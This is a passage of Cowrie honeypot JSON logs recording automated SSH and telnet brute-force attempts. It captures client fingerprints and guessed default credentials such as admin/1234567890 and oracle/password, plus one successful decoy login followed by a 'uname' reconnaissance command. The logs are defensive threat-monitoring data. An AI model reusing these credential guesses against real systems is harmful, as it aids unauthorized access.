ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:11.905603Z","src_ip":"172.237.20.62","session":"43c37c6c600a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:12.447809Z","src_ip":"172.237.20.62","session":"43c37c6c600a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:13.608850Z","src_ip":"172.237.20.62","session":"43c37c6c600a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.2588791847229,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:14.882733Z","src_ip":"183.87.188.93","session":"10969371ac48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.499106884002686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:18.058810Z","src_ip":"157.18.27.102","session":"67e3d7a84ae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42830,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aac025005de","protocol":"ssh","message":"New connection: 172.237.20.62:42830 (159.203.135.109:22) [session: 6aac025005de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:22.558977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:22.563643Z","src_ip":"172.237.20.62","session":"6aac025005de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:22.724708Z","src_ip":"172.237.20.62","session":"6aac025005de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:23.253613Z","src_ip":"172.237.20.62","session":"6aac025005de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:24.420812Z","src_ip":"172.237.20.62","session":"6aac025005de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.93684267997742,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:26.175308Z","src_ip":"45.58.127.90","session":"a62065f7e9ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44774,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb5a7f38828","protocol":"ssh","message":"New connection: 80.94.92.184:44774 (10.17.0.5:22) [session: 0fb5a7f38828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.060937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.137867Z","src_ip":"80.94.92.184","session":"0fb5a7f38828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"881e5129bfea","protocol":"ssh","message":"New connection: 94.26.106.252:49790 (10.17.0.5:22) [session: 881e5129bfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.251292Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.256651Z","src_ip":"94.26.106.252","session":"881e5129bfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.312588Z","src_ip":"80.94.92.184","session":"0fb5a7f38828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":41584,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f65661eee2","protocol":"ssh","message":"New connection: 94.26.106.252:41584 (10.17.0.5:22) [session: d5f65661eee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.387601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.392580Z","src_ip":"94.26.106.252","session":"d5f65661eee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.479264Z","src_ip":"94.26.106.252","session":"d5f65661eee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:27.648996Z","src_ip":"94.26.106.252","session":"d5f65661eee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:28.401500Z","src_ip":"80.94.92.184","session":"0fb5a7f38828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:28.735127Z","src_ip":"94.26.106.252","session":"d5f65661eee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:29.657560Z","src_ip":"80.94.92.184","session":"0fb5a7f38828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.20113730430603,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:30.822012Z","src_ip":"45.58.127.90","session":"45cf8fb4eb7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42572,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3ca0943af35","protocol":"ssh","message":"New connection: 172.237.20.62:42572 (159.203.135.109:22) [session: f3ca0943af35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:33.669922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:33.675339Z","src_ip":"172.237.20.62","session":"f3ca0943af35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:33.833768Z","src_ip":"172.237.20.62","session":"f3ca0943af35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:34.312640Z","src_ip":"172.237.20.62","session":"f3ca0943af35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:35.473939Z","src_ip":"172.237.20.62","session":"f3ca0943af35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34290,"dst_ip":"159.203.135.109","dst_port":22,"session":"6925de48d46d","protocol":"ssh","message":"New connection: 172.237.20.62:34290 (159.203.135.109:22) [session: 6925de48d46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:44.573248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:44.578076Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:44.741471Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:45.234642Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:45.621564Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:45.625526Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:45.792737Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:45.798705Z","src_ip":"172.237.20.62","session":"6925de48d46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.53465294837952,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:46.598036Z","src_ip":"45.58.127.90","session":"949c7e631ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d781d84b8f","protocol":"telnet","message":"New connection: 45.58.127.90:47004 (10.17.0.5:23) [session: f8d781d84b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:49.205347Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e08d838eb6d","protocol":"telnet","message":"New connection: 45.58.127.90:47018 (10.17.0.5:23) [session: 2e08d838eb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:51.475598Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47032,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62e0b42f163","protocol":"telnet","message":"New connection: 45.58.127.90:47032 (10.17.0.5:23) [session: f62e0b42f163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:54.894891Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49918,"dst_ip":"159.203.135.109","dst_port":22,"session":"13874b457a62","protocol":"ssh","message":"New connection: 172.237.20.62:49918 (159.203.135.109:22) [session: 13874b457a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:55.343501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:55.348840Z","src_ip":"172.237.20.62","session":"13874b457a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:55.509037Z","src_ip":"172.237.20.62","session":"13874b457a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:55.986860Z","src_ip":"172.237.20.62","session":"13874b457a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:57.149194Z","src_ip":"172.237.20.62","session":"13874b457a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":37728,"dst_ip":"10.17.0.5","dst_port":22,"session":"5744a9cec685","protocol":"ssh","message":"New connection: 45.148.146.52:37728 (10.17.0.5:22) [session: 5744a9cec685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:02.818690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:02.823749Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-c